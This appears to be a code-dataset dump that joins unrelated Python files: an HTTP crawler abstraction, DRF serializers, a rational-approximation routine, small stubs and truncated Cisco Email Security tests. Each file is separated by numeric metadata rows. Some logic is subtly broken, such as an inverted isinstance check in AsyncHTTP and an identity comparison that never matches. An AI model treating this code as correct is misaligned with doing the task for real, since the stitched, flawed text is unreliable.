error: Exception): raise error class BaseHTTP(metaclass=ABCMeta): def __init__(self, retry_components: BaseRetryComponent = None): pass @abstractmethod def request(self, url: str, method: str = "GET", timeout: int = -1, *args, **kwargs): pass @abstractmethod def get(self, url: str, *args, **kwargs): pass @abstractmethod def post(self, url: str, *args, **kwargs): pass @abstractmethod def put(self, url: str, *args, **kwargs): pass @abstractmethod def delete(self, url: str, *args, **kwargs): pass @abstractmethod def head(self, url: str, *args, **kwargs): pass @abstractmethod def option(self, url: str, *args, **kwargs): pass @property @abstractmethod def before_request(self) -> Callable: pass @property @abstractmethod def request_done(self) -> Callable: pass @property @abstractmethod def request_final(self) -> Callable: pass @property @abstractmethod def request_error(self) -> Callable: pass @abstractmethod def status_code(self): pass class HTTP(BaseHTTP): __Retry_Mechanism_Default_Functions = RetryComponent() _Before_Request_Callable: Callable = None _Request_Done_Callable: Callable = None _Request_Final_Callable: Callable = None _Error_Request_Callable: Callable = None def __init__(self, retry_components: BaseRetryComponent = None): super().__init__(retry_components) if retry_components is not None: if not isinstance(retry_components, BaseRetryComponent): raise TypeError("Parameter *retry_components* should be a sub-class of 'smoothcrawler.http_io.RetryComponent'.") self.__Retry_Mechanism_Default_Functions = retry_components def request(self, url: str, method: str = "GET", timeout: int = -1, retry_components: BaseRetryComponent = None, *args, **kwargs): _self = self @_retry(timeout=RETRY_TIME) def _request(_self, _method: str = "GET", _timeout: int = -1, *_args, **_kwargs): _response = self.__request_process(url=url, method=_method, timeout=_timeout, *_args, **_kwargs) return _response @_request.initialization def _before_request(_self, *_args, **_kwargs) -> None: self.before_request(*_args, **_kwargs) @_request.done_handling def _request_done(_self, result): __result = self.request_done(result) return __result @_request.final_handling def _request_final(_self) -> None: self.request_final() @_request.error_handling def _request_error(_self, error: Exception): __error_handle = self.request_error(error) return __error_handle response = _request(self, method, timeout, *args, **kwargs) if response is TypeError and str(response) == f"Invalid HTTP method it got: '{method}'.": raise response return response def __request_process(self, url: str, method: str = "GET", timeout: int = -1, *args, **kwargs) -> Any: if re.search(f"get", method, re.IGNORECASE): response = self.get(url, *args, **kwargs) elif re.search(f"post", method, re.IGNORECASE): response = self.post(url, *args, **kwargs) elif re.search(f"put", method, re.IGNORECASE): response = self.put(url, *args, **kwargs) elif re.search(f"delete", method, re.IGNORECASE): response = self.delete(url, *args, **kwargs) elif re.search(f"head", method, re.IGNORECASE): response = self.head(url, *args, **kwargs) elif re.search(f"option", method, re.IGNORECASE): response = self.option(url, *args, **kwargs) else: response = TypeError(f"Invalid HTTP method it got: '{method.upper()}'.") return response def get(self, url: str, *args, **kwargs): return None def post(self, url: str, *args, **kwargs): return None def put(self, url: str, *args, **kwargs): return None def delete(self, url: str, *args, **kwargs): return None def head(self, url: str, *args, **kwargs): return None def option(self, url: str, *args, **kwargs): return None @property def before_request(self) -> Callable: if self._Before_Request_Callable is None: return self.__Retry_Mechanism_Default_Functions.before_request return self._Before_Request_Callable @before_request.setter def before_request(self, function: Callable) -> None: self._Before_Request_Callable = function @property def request_done(self) -> Callable: if self._Request_Done_Callable is None: return self.__Retry_Mechanism_Default_Functions.request_done return self._Request_Done_Callable @request_done.setter def request_done(self, function: Callable) -> None: self._Request_Done_Callable = function @property def request_final(self) -> Callable: if self._Request_Final_Callable is None: return self.__Retry_Mechanism_Default_Functions.request_final return self._Request_Final_Callable @request_final.setter def request_final(self, function: Callable) -> None: self._Request_Final_Callable = function @property def request_error(self) -> Callable: if self._Error_Request_Callable is None: return self.__Retry_Mechanism_Default_Functions.request_error return self._Error_Request_Callable @request_error.setter def request_error(self, function: Callable) -> None: self._Error_Request_Callable = function def response(self): pass def status_code(self): pass class AsyncHTTP(BaseHTTP): __Retry_Mechanism_Default_Functions = AsyncRetryComponent() _Before_Request_Callable: Callable = None _Request_Done_Callable: Callable = None _Request_Final_Callable: Callable = None _Error_Request_Callable: Callable = None def __init__(self, retry_components: BaseRetryComponent = None): super().__init__(retry_components) if retry_components is not None: if isinstance(retry_components, BaseRetryComponent): raise TypeError("Parameter *retry_components* should be a sub-class of 'smoothcrawler.http_io.AsyncRetryComponent'.") self.__Retry_Mechanism_Default_Functions = retry_components async def request(self, url: str, method: str = "GET", timeout: int = -1, *args, **kwargs): _self = self @_async_retry(timeout=RETRY_TIME) async def _request(_self, _method: str = "GET", _timeout: int = -1, *_args, **_kwargs): __response = await _self.__request_process(url=url, method=_method, timeout=_timeout, *_args, **_kwargs) return __response @_request.initialization async def _before_request(_self, *_args, **_kwargs): await self.before_request(*_args, **_kwargs) @_request.done_handling async def _request_done(_self, result): __result = await self.request_done(result) return __result @_request.final_handling async def _request_final(_self): await self.request_final() @_request.error_handling async def _request_error(_self, error): __error_handle = await self.request_error(error) return __error_handle response = await _request(self, method, timeout, *args, **kwargs) if response is TypeError and str(response) == f"Invalid HTTP method it got: '{method}'.": raise response return response async def __request_process(self, url: str, method: str = "GET", timeout: int = -1, *args, **kwargs): if re.search(f"get", method, re.IGNORECASE): response = await self.get(url, *args, **kwargs) elif re.search(f"post", method, re.IGNORECASE): response = await self.post(url, *args, **kwargs) elif re.search(f"put", method, re.IGNORECASE): response = await self.put(url, *args, **kwargs) elif re.search(f"delete", method, re.IGNORECASE): response = await self.delete(url, *args, **kwargs) elif re.search(f"head", method, re.IGNORECASE): response = await self.head(url, *args, **kwargs) elif re.search(f"option", method, re.IGNORECASE): response = await self.option(url, *args, **kwargs) else: response = TypeError(f"Invalid HTTP method it got: '{method.upper()}'.") return response async def get(self, url: str, *args, **kwargs): return None async def post(self, url: str, *args, **kwargs): return None async def put(self, url: str, *args, **kwargs): return None async def delete(self, url: str, *args, **kwargs): return None async def head(self, url: str, *args, **kwargs): return None async def option(self, url: str, *args, **kwargs): return None @property def before_request(self) -> Callable: if self._Before_Request_Callable is None: return self.__Retry_Mechanism_Default_Functions.before_request return self._Before_Request_Callable @before_request.setter def before_request(self, function: Callable) -> None: self._Before_Request_Callable = function @property def request_done(self) -> Callable: if self._Request_Done_Callable is None: return self.__Retry_Mechanism_Default_Functions.request_done return self._Request_Done_Callable @request_done.setter def request_done(self, function: Callable) -> None: self._Request_Done_Callable = function @property def request_final(self) -> Callable: if self._Request_Final_Callable is None: return self.__Retry_Mechanism_Default_Functions.request_final return self._Request_Final_Callable @request_final.setter def request_final(self, function: Callable) -> None: self._Request_Final_Callable = function @property def request_error(self) -> Callable: if self._Error_Request_Callable is None: return self.__Retry_Mechanism_Default_Functions.request_error return self._Error_Request_Callable @request_error.setter def request_error(self, function: Callable) -> None: self._Error_Request_Callable = function def status_code(self): pass
27.171739
133
0.62933
1,380
12,499
5.428261
0.073188
0.064077
0.030704
0.03364
0.899079
0.859832
0.805233
0.735683
0.668536
0.57816
0
0.000885
0.276982
12,499
459
134
27.230937
0.82804
0
0
0.733333
0
0
0.034888
0.006642
0
0
0
0
0
1
0.19
false
0.073333
0.016667
0.033333
0.403333
0
0
0
0
null
0
0
0
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
6
d33b7465f022677ad8dfb61afdd9fea01bac0846
22
py
Python
INFINIX/database/__init__.py
ItzSjDude/infinix
b9010737088f161c4a02c25ff43c4de6c9d62f4e
[ "Apache-2.0" ]
null
null
null
INFINIX/database/__init__.py
ItzSjDude/infinix
b9010737088f161c4a02c25ff43c4de6c9d62f4e
[ "Apache-2.0" ]
null
null
null
INFINIX/database/__init__.py
ItzSjDude/infinix
b9010737088f161c4a02c25ff43c4de6c9d62f4e
[ "Apache-2.0" ]
null
null
null
from .infxdb import *
11
21
0.727273
3
22
5.333333
1
0
0
0
0
0
0
0
0
0
0
0
0.181818
22
1
22
22
0.888889
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
d342fc1fc36e76c08a332b501f6c9cbc0759e965
204
py
Python
1201-1300/1294-Power of Three/1294-Power of Three.py
jiadaizhao/LintCode
a8aecc65c47a944e9debad1971a7bc6b8776e48b
[ "MIT" ]
77
2017-12-30T13:33:37.000Z
2022-01-16T23:47:08.000Z
1201-1300/1294-Power of Three/1294-Power of Three.py
jxhangithub/LintCode-1
a8aecc65c47a944e9debad1971a7bc6b8776e48b
[ "MIT" ]
1
2018-05-14T14:15:40.000Z
2018-05-14T14:15:40.000Z
1201-1300/1294-Power of Three/1294-Power of Three.py
jxhangithub/LintCode-1
a8aecc65c47a944e9debad1971a7bc6b8776e48b
[ "MIT" ]
39
2017-12-07T14:36:25.000Z
2022-03-10T23:05:37.000Z
class Solution: """ @param n: an integer @return: if n is a power of three """ def isPowerOfThree(self, n): # Write your code here return n > 0 and 1162261467 % n == 0
22.666667
44
0.558824
29
204
3.931034
0.793103
0.035088
0
0
0
0
0
0
0
0
0
0.089552
0.343137
204
8
45
25.5
0.761194
0.372549
0
0
0
0
0
0
0
0
0
0.125
0
1
0.333333
false
0
0
0.333333
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
1
0
0
0
1
1
0
0
6
d34647734da5ace119c69da77165b66084c34606
133
py
Python
deepbrain/models/extractor/__init__.py
maiskovich/deepbrain
df9d5968d26ec6248da6f1b8046eedff36439507
[ "MIT" ]
null
null
null
deepbrain/models/extractor/__init__.py
maiskovich/deepbrain
df9d5968d26ec6248da6f1b8046eedff36439507
[ "MIT" ]
null
null
null
deepbrain/models/extractor/__init__.py
maiskovich/deepbrain
df9d5968d26ec6248da6f1b8046eedff36439507
[ "MIT" ]
2
2021-06-25T21:54:54.000Z
2021-08-19T19:08:03.000Z
import tensorflow as tf if tf.__version__ > "2.0.0": import tensorflow.compat.v1 as tf from deepbrain.extractor import Extractor
26.6
41
0.774436
21
133
4.714286
0.619048
0.323232
0
0
0
0
0
0
0
0
0
0.035398
0.150376
133
4
42
33.25
0.840708
0
0
0
0
0
0.037594
0
0
0
0
0
0
1
0
true
0
0.75
0
0.75
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
d355102805dbb7a2ea8769265fd28904265c2bd9
80
py
Python
tests/snippets/exit.py
lazylife7157/RustPython
84f08c85d9f0295d2a1905b5065498181eb442c7
[ "MIT" ]
null
null
null
tests/snippets/exit.py
lazylife7157/RustPython
84f08c85d9f0295d2a1905b5065498181eb442c7
[ "MIT" ]
null
null
null
tests/snippets/exit.py
lazylife7157/RustPython
84f08c85d9f0295d2a1905b5065498181eb442c7
[ "MIT" ]
null
null
null
from testutils import assert_raises with assert_raises(SystemExit): exit()
16
35
0.7875
10
80
6.1
0.8
0.393443
0
0
0
0
0
0
0
0
0
0
0.15
80
4
36
20
0.897059
0
0
0
0
0
0
0
0
0
0
0
0.666667
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
1
0
1
0
0
0
0
6
d38e8ca7ecf91767e04488f4d3bfb3b539d19c0e
30
py
Python
knn/__init__.py
imdeepmind/MachineLearningFromScratch
2b0b2caf2f5969ecc12ea6f122fac300db7dd584
[ "MIT" ]
null
null
null
knn/__init__.py
imdeepmind/MachineLearningFromScratch
2b0b2caf2f5969ecc12ea6f122fac300db7dd584
[ "MIT" ]
null
null
null
knn/__init__.py
imdeepmind/MachineLearningFromScratch
2b0b2caf2f5969ecc12ea6f122fac300db7dd584
[ "MIT" ]
null
null
null
from .knn import KNNClassifier
30
30
0.866667
4
30
6.5
1
0
0
0
0
0
0
0
0
0
0
0
0.1
30
1
30
30
0.962963
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
9f0aac412f33a225363dcea52a82d245ffd706b8
31
py
Python
sphinx_diagrams/__init__.py
Ulimo/sphinx-diagrams
8a82d9c73e937f68d5b2aa5cde6dfeb3c4f5b82a
[ "BSD-2-Clause" ]
8
2020-11-12T15:02:32.000Z
2022-02-27T19:04:00.000Z
sphinx_diagrams/__init__.py
Ulimo/sphinx-diagrams
8a82d9c73e937f68d5b2aa5cde6dfeb3c4f5b82a
[ "BSD-2-Clause" ]
3
2021-05-04T03:09:02.000Z
2021-08-17T21:01:27.000Z
sphinx_diagrams/__init__.py
Ulimo/sphinx-diagrams
8a82d9c73e937f68d5b2aa5cde6dfeb3c4f5b82a
[ "BSD-2-Clause" ]
5
2020-11-23T18:49:52.000Z
2021-08-14T15:08:10.000Z
from .sphinx_diagrams import *
15.5
30
0.806452
4
31
6
1
0
0
0
0
0
0
0
0
0
0
0
0.129032
31
1
31
31
0.888889
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
9f5a3350fceda24cacbee14c6066a56b5bc06e43
2,188
py
Python
oa_server/time_series/serializers.py
Open-Acidification/Open_Acidification_Server
3ae668dc033e1a1478a6fc59b8b4dcec4de87564
[ "MIT" ]
null
null
null
oa_server/time_series/serializers.py
Open-Acidification/Open_Acidification_Server
3ae668dc033e1a1478a6fc59b8b4dcec4de87564
[ "MIT" ]
37
2020-04-23T16:55:16.000Z
2020-11-23T23:25:48.000Z
oa_server/time_series/serializers.py
Open-Acidification/TankControllerManager
3ae668dc033e1a1478a6fc59b8b4dcec4de87564
[ "MIT" ]
4
2021-09-30T21:43:52.000Z
2022-02-23T03:26:25.000Z
from rest_framework import serializers from time_series.models import TimeSeries # Pylint wants create() and update() to be overriden, # but we don't need them here, so ignore the error. #pylint: disable=abstract-method class TimeSeriesSerializer(serializers.ModelSerializer): class Meta: model = TimeSeries fields = '__all__' class TempHoldSerializer(serializers.Serializer): name = serializers.CharField(max_length=32, default="Unnamed") at = serializers.FloatField(min_value=0, max_value=100, default=20) class PHHoldSerializer(serializers.Serializer): name = serializers.CharField(max_length=32, default="Unnamed") at = serializers.FloatField(min_value=7, max_value=14, default=8) class TempRampSerializer(serializers.Serializer): name = serializers.CharField(max_length=32, default="Unnamed") start = serializers.FloatField(min_value=0, max_value=100, default=20) end = serializers.FloatField(min_value=0, max_value=100, default=30) duration = serializers.IntegerField(min_value=0, default=600) class PHRampSerializer(serializers.Serializer): name = serializers.CharField(max_length=32, default="Unnamed") start = serializers.FloatField(min_value=7, max_value=14, default=8) end = serializers.FloatField(min_value=7, max_value=14, default=9) duration = serializers.IntegerField(min_value=0, default=600) class TempSineSerializer(serializers.Serializer): name = serializers.CharField(max_length=32, default="Unnamed") frequency = serializers.IntegerField(min_value=0, default=600) amplitude = serializers.FloatField(min_value=0, max_value=50, default=15) offset_x = serializers.IntegerField(min_value=0, default=0) offset_y = serializers.FloatField(min_value=0, max_value=100, default=30) class PHSineSerializer(serializers.Serializer): name = serializers.CharField(max_length=32, default="Unnamed") frequency = serializers.IntegerField(min_value=0, default=600) amplitude = serializers.FloatField(min_value=0, max_value=3.5, default=1) offset_x = serializers.IntegerField(min_value=0, default=0) offset_y = serializers.FloatField(min_value=7, max_value=14, default=8)
48.622222
77
0.771481
279
2,188
5.899642
0.283154
0.077764
0.065614
0.176185
0.756379
0.752734
0.752734
0.752734
0.752734
0.657351
0
0.042122
0.121115
2,188
44
78
49.727273
0.813833
0.060329
0
0.352941
0
0
0.023879
0
0
0
0
0
0
1
0
false
0
0.058824
0
0.941176
0
0
0
0
null
0
0
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
9f9fcd928d271f5588ca5236b33a69d2c3e59ab0
4,595
py
Python
applications/ExaquteSandboxApplication/python_scripts/WindGenerator/RationalApproximation.py
lkusch/Kratos
e8072d8e24ab6f312765185b19d439f01ab7b27b
[ "BSD-4-Clause" ]
778
2017-01-27T16:29:17.000Z
2022-03-30T03:01:51.000Z
applications/ExaquteSandboxApplication/python_scripts/WindGenerator/RationalApproximation.py
lkusch/Kratos
e8072d8e24ab6f312765185b19d439f01ab7b27b
[ "BSD-4-Clause" ]
6,634
2017-01-15T22:56:13.000Z
2022-03-31T15:03:36.000Z
applications/ExaquteSandboxApplication/python_scripts/WindGenerator/RationalApproximation.py
lkusch/Kratos
e8072d8e24ab6f312765185b19d439f01ab7b27b
[ "BSD-4-Clause" ]
224
2017-02-07T14:12:49.000Z
2022-03-06T23:09:34.000Z
from math import * import numpy as np from scipy.optimize import fsolve, minimize, fminbound, root from scipy.signal import residue import scipy # from scipy.special import kv as Kv # from scipy.special import jv as Jv # from scipy.special import iv as Iv # from scipy.special import gamma, genlaguerre import matplotlib.pyplot as plt from time import time ############################################ def compute_RationalApproximation_AAA(alpha, MaxOrder=100, tol = 1.e-8, nPoints = 1000, verbose=False): # deal with divisions by zero np.seterr(divide='ignore', invalid='ignore') func = lambda x: x**(1-alpha) # func = lambda x: (1+x)**(-alpha) * x M = nPoints Z = np.linspace(1, 1000, M) # Z = (Z/Z[-1])**2 * Z[-1] Z = Z.reshape([M,1]) M = Z.size F = func(Z) SF = scipy.sparse.spdiags(F.flatten(),0,M,M) J = np.arange(M) z = np.array([]).reshape([0,1]) f = np.array([]).reshape([0,1]) C = np.array([]).reshape([M,0]) errvec = np.array([]) R = np.mean(F)*np.ones_like(F) for m in range(MaxOrder): j = np.argmax(np.abs(F-R)) z = np.vstack([z, Z[j]]) f = np.vstack([f, F[j]]) J = J[J!=j] C = np.hstack([ C, 1/(Z-Z[j]) ]) Sf = np.diag(f.flatten()) A = SF @ C - C @ Sf U,S,V = scipy.linalg.svd(A[J,:]) w = V[m,:].reshape([-1,1]) N = C @ (w*f) D = C @ w R[:] = F R[J] = N[J]/D[J] err = np.linalg.norm(F-R, ord=np.inf) errvec = np.append(errvec, err) if verbose: print(err) if err <= tol: break if verbose: print('degree',m) m = w.size B = np.eye(m+1) B[0,0] = 0 E = np.block([ [ 0, w.reshape([1,m]) ], [ np.ones([m,1]), np.diag(z.flatten()) ] ]) pol = scipy.linalg.eig(E,B, left=False, right=False) pol = pol[~np.isinf(pol)] E = np.block([ [ 0, (w*f).reshape([1,m]) ], [ np.ones([m,1]), np.diag(z.flatten()) ] ]) zer = scipy.linalg.eig(E,B, left=False, right=False) zer = zer[~np.isinf(zer)] assert( np.all(np.isclose(np.imag(zer),0)) ) assert( np.all(np.isclose(np.imag(pol),0)) ) pc0 = np.sum(w*f) pd0 = np.sum(w) pc = np.poly(zer) pd = np.poly(pol) pd = np.append(pd, 0) c, d, k = residue(pc, pd) assert(all(k==0)) d = -d c *= pc0/pd0 ### Check RA error # x = np.linspace(1, 1000, 10000) # plt.plot(x, [ np.sum(c/(z+d)) - z**(-alpha) for z in x] ) # plt.show() return c, d def compute_RationalApproximation_AAA_new(alpha, beta=None, MaxOrder=100, tol = 1.e-12, nPoints = 1000, verbose=False): # deal with divisions by zero np.seterr(divide='ignore', invalid='ignore') if beta: func = lambda x: x**(1-alpha) * (x-1)**(-beta) else: func = lambda x: x**(1-alpha) M = nPoints Z = np.linspace(1+1.e-3, 1000, M).reshape([M,1]) M = Z.size F = func(Z) SF = scipy.sparse.spdiags(F.flatten(),0,M,M) J = np.arange(M) z = np.array([]).reshape([0,1]) f = np.array([]).reshape([0,1]) C = np.array([]).reshape([M,0]) errvec = np.array([]) R = np.mean(F)*np.ones_like(F) for m in range(MaxOrder): j = np.argmax(np.abs(F-R)) z = np.vstack([z, Z[j]]) f = np.vstack([f, F[j]]) J = J[J!=j] C = np.hstack([ C, 1/(Z-Z[j]) ]) Sf = np.diag(f.flatten()) A = SF @ C - C @ Sf U,S,V = scipy.linalg.svd(A[J,:]) w = V[m,:].reshape([-1,1]) N = C @ (w*f) D = C @ w R[:] = F R[J] = N[J]/D[J] err = np.linalg.norm(F-R, ord=np.inf) errvec = np.append(errvec, err) if verbose: print(err) if err <= tol: break if verbose: print('degree',m) m = w.size B = np.eye(m+1) B[0,0] = 0 E = np.block([ [ 0, w.reshape([1,m]) ], [ np.ones([m,1]), np.diag(z.flatten()) ] ]) pol = scipy.linalg.eig(E,B, left=False, right=False) pol = pol[~np.isinf(pol)] E = np.block([ [ 0, (w*f).reshape([1,m]) ], [ np.ones([m,1]), np.diag(z.flatten()) ] ]) zer = scipy.linalg.eig(E,B, left=False, right=False) zer = zer[~np.isinf(zer)] assert( np.all(np.isclose(np.imag(zer),0)) ) assert( np.all(np.isclose(np.imag(pol),0)) ) pc0 = np.sum(w*f) pd0 = np.sum(w) pc = np.poly(zer) pd = np.poly(pol) pd = np.append(pd, 0) c, d, k = residue(pc, pd) assert(all(k==0)) d = -d c *= pc0/pd0 # x = np.linspace(100, 1000, 10000) # plt.plot(x, [ np.sum(c/(z+d)) - func(z)/z for z in x] ) # plt.show() return c, d
27.35119
119
0.514255
792
4,595
2.974747
0.165404
0.006791
0.035654
0.037351
0.794567
0.780985
0.741087
0.741087
0.741087
0.722411
0
0.03478
0.2679
4,595
168
120
27.35119
0.665577
0.105332
0
0.87395
0
0
0.008891
0
0
0
0
0
0.05042
1
0.016807
false
0
0.058824
0
0.092437
0.033613
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
4cba75504cbd0271b685fedf4c766841cd5e284f
126
py
Python
test.py
julianrector8823/Minecraft-Plugins
56a4cd0f9edc56cabc770c3872d6d00dbc8292c9
[ "MIT" ]
null
null
null
test.py
julianrector8823/Minecraft-Plugins
56a4cd0f9edc56cabc770c3872d6d00dbc8292c9
[ "MIT" ]
null
null
null
test.py
julianrector8823/Minecraft-Plugins
56a4cd0f9edc56cabc770c3872d6d00dbc8292c9
[ "MIT" ]
null
null
null
class Test(int): def __new__(cls, n): return int.__new__(cls, n) def cube(self): return pow(self, 3)
15.75
31
0.563492
19
126
3.315789
0.631579
0.190476
0.222222
0
0
0
0
0
0
0
0
0.011364
0.301587
126
7
32
18
0.704545
0
0
0
0
0
0
0
0
0
0
0
0
1
0.4
false
0
0
0.4
1
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
6
980d524effe0e6e61f01e8a75c347386be00f6eb
19,127
py
Python
Packs/CiscoEmailSecurity/Integrations/CiscoEmailSecurity/CiscoEmailSecurity_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/CiscoEmailSecurity/Integrations/CiscoEmailSecurity/CiscoEmailSecurity_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/CiscoEmailSecurity/Integrations/CiscoEmailSecurity/CiscoEmailSecurity_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import json import pytest from CiscoEmailSecurity import Client def get_fetch_data(): with open('./test_data.json', 'r') as f: return json.loads(f.read()) test_data = get_fetch_data() def test_date_to_cisco_date(): from CiscoEmailSecurity import date_to_cisco_date res = date_to_cisco_date('2019-11-20 09:36:09') assert res == '2019-11-20T09:36:09.000Z' @pytest.mark.parametrize( "limit, expected", [ ('', 20), ('100', 20), ('15', 15) ] ) def test_set_limit(limit, expected): from CiscoEmailSecurity import set_limit res = set_limit(limit) assert res == expected def test_set_var_to_output_prefix(): from CiscoEmailSecurity import set_var_to_output_prefix res = set_var_to_output_prefix('mail_incoming_traffic_summary') assert res == 'MailIncomingTrafficSummary' def test_build_url_params_for_list_report(): """ Given: Arguments To flirt with. When: The function builds a URL filter from these arguments. Then: We check that the URL filter matches what the command asks for. """ from CiscoEmailSecurity import build_url_params_for_list_report res = build_url_params_for_list_report(test_data['args_for_list_report'], 'reporting_system') assert res == test_data['url_params_for_list_reports'] def test_build_url_params_for_list_messages(): """ Given: Arguments To flirt with. When: The function builds a URL filter from these arguments. Then: We check that the URL filter matches what the command asks for. """ from CiscoEmailSecurity import build_url_params_for_list_messages res = build_url_params_for_list_messages(test_data['args_for_list_messages']) assert res == test_data['url_params_for_list_messages'] def test_build_url_params_for_get_details(): """ Given: Arguments To flirt with. When: The function builds a URL filter from these arguments. Then: We check that the URL filter matches what the command asks for. """ from CiscoEmailSecurity import build_url_params_for_get_details res = build_url_params_for_get_details(test_data['args_for_get_details']) assert res == test_data['url_params_for_get_details'] def test_build_url_params_for_spam_quarantine(): """ Given: Arguments To flirt with. When: The function builds a URL filter from these arguments. Then: We check that the URL filter matches what the command asks for. """ from CiscoEmailSecurity import build_url_params_for_spam_quarantine res = build_url_params_for_spam_quarantine(test_data['args_for_spam_quarantine']) assert res == test_data['url_params_for_spam_quarantine'] def test_list_search_messages_command(requests_mock): """ Given: Arguments for command - list_search_messages. When: The API gives us results according to the arguments we sent. Then: We check that what is in context (outputs, outputs_prefix, outputs_key_field) is what should be according to the arguments we sent to the API. """ from CiscoEmailSecurity import list_search_messages_command requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login']) requests_mock.get("https://ciscoemailsecurity/sma/api/v2.0/message-tracking/messages?" "startDate=2017-02-14T09:51:46.000-0600.000Z&endDate=2017-02-14T09:51:46.000-0600.000Z" "&searchOption=messages&ciscoHost=All_Hosts&offset=0&limit=20", json=test_data['search_messages_response_data']) client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/", "insecure": False, "proxy": False, "timeout": "2000"}) res = list_search_messages_command(client, {"start_date": "2017-02-14T09:51:46.000-0600", "end_date": "2017-02-14T09:51:46.000-0600"}) assert res.outputs == test_data['search_messages_context'] assert res.outputs_prefix == 'CiscoEmailSecurity.Message' assert res.outputs_key_field == 'attributes.mid' def test_messages_to_human_readable(): """ Given: Messages response data. When: The function arranges the data and returns it in the Markdown table. Then: We check that the table that the function returns corresponds to the data that the function received. """ from CiscoEmailSecurity import messages_to_human_readable res = messages_to_human_readable(test_data['search_messages_context']) assert res == test_data['messages_human_readable'] def test_list_get_message_details_command(requests_mock): """ Given: Arguments for command - list_get_message_details. When: The API gives us results according to the arguments we sent. Then: We check that what is in context (outputs, outputs_prefix, outputs_key_field) is what should be according to the arguments we sent to the API. """ from CiscoEmailSecurity import list_get_message_details_command requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login']) requests_mock.get("https://ciscoemailsecurity/sma/api/v2.0/message-tracking/details?" "startDate=2017-02-14T09:51:46.000-0600.000Z&endDate=2017-02-14T09:51:46.000-0600.000Z&" "mid=None&icid=None", json=test_data['get_message_details_response_data']) client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/", "insecure": False, "proxy": False, "timeout": "2000"}) res = list_get_message_details_command(client, {"start_date": "2017-02-14T09:51:46.000-0600", "end_date": "2017-02-14T09:51:46.000-0600"}) assert res.outputs == test_data['get_message_details_context'] assert res.outputs_prefix == 'CiscoEmailSecurity.Message' assert res.outputs_key_field == 'mid' def test_message_to_human_readable(): """ Given: Message response data. When: The function arranges the data and returns it in the Markdown table. Then: We check that the table that the function returns corresponds to the data that the function received. """ from CiscoEmailSecurity import details_get_to_human_readable res = details_get_to_human_readable(test_data['get_message_details_context']) assert res == test_data['message_human_readable'] def test_list_search_spam_quarantine_command(requests_mock): """ Given: Arguments for command - list_search_spam_quarantine. When: The API gives us results according to the arguments we sent. Then: We check that what is in context (outputs, outputs_prefix, outputs_key_field) is what should be according to the arguments we sent to the API. """ from CiscoEmailSecurity import list_search_spam_quarantine_command requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login']) requests_mock.get("https://ciscoemailsecurity/sma/api/v2.0/quarantine/messages" "?startDate=2017-02-14T09:51:46.000-0600.000Z&endDate=2017-02-14T09:51:46.000-0600.000Z" "&quarantineType=spam&offset=0&limit=20", json=test_data['search_spam_quarantine_response_data']) client = Client({"credentials": {"identifier": "a", "password": "b"}, "base_url": "https://ciscoemailsecurity/", "insecure": False, "proxy": False, "timeout": "2000"}) res = list_search_spam_quarantine_command(client, {"start_date": "2017-02-14T09:51:46.000-0600", "end_date": "2017-02-14T09:51:46.000-0600"}) assert res.outputs == test_data['search_spam_quarantine_context'] assert res.outputs_prefix == 'CiscoEmailSecurity.SpamQuarantine' assert res.outputs_key_field == 'mid' def test_spam_quarantine_to_human_readable(): """ Given: Spam quarantine response data. When: The function arranges the data and returns it in the Markdown table. Then: We check that the table that the function returns corresponds to the data that the function received. """ from CiscoEmailSecurity import spam_quarantine_to_human_readable res = spam_quarantine_to_human_readable(test_data['search_spam_quarantine_context']) assert res == test_data['spam_quarantine_human_readable'] def test_list_get_quarantine_message_details_command(requests_mock): """ Given: Arguments for command - get_quarantine_message_details. When: The API gives us results according to the arguments we sent. Then: We check that what is in context (outputs, outputs_prefix, outputs_key_field) is what should be according to the arguments we sent to the API. """ from CiscoEmailSecurity import list_get_quarantine_message_details_command requests_mock.post("https://ciscoemailsecurity/sma/api/v2.0/login", json=test_data['data_for_login']) 